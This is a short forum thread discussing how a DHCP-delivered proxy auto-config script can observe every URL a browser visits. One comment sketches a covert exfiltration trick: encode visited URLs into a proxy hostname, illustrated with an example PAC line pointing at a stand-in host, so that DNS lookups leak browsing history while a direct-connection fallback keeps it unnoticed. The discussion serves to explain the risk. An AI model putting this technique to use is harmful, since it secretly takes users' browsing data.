3 ms·
Well, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed. I presume there could be some sandbo
by codys 10y ago
Well, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed. I presume there could be some sandboxing of that function, depending on how it is typically used.
Edit: even with sandboxing, I imagine they could encode the url into a hostname for a proxy and then use the DNS requests for the proxy to exfiltrate the url. Proxy auto-config allows specifying "PROXY my_encoded_url.other_data.example.com:8080; DIRECT" so that it would attempt the DNS lookup, and on it's failure fallback to using a direct connection so there wouldn't be much change visible to the user (just a slight extra delay due to dns lookup).
- jrochkind1 10y ago> Well, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed. I don't think so. Just a proxy. A malicious proxy can of course inject whatever it wants into your viewed pages.
- bzbarsky 10y agocodys is correct: The DHCP option provides a URL for a javascript file with a function to be called for each URL. The function then returns how to actually go about connecting to that URL (direct or proxied connection) and what hostname to actually use, etc. This is separate from the proxy that then gets used for the actual connection if the PAC file says to use a proxy. That proxy can't inject things into pages loaded over https unless it's using an MITM cert signed with a trust root that your browser trusts. The problem under discussion is that the function in the PAC file gets to see the URL being visited.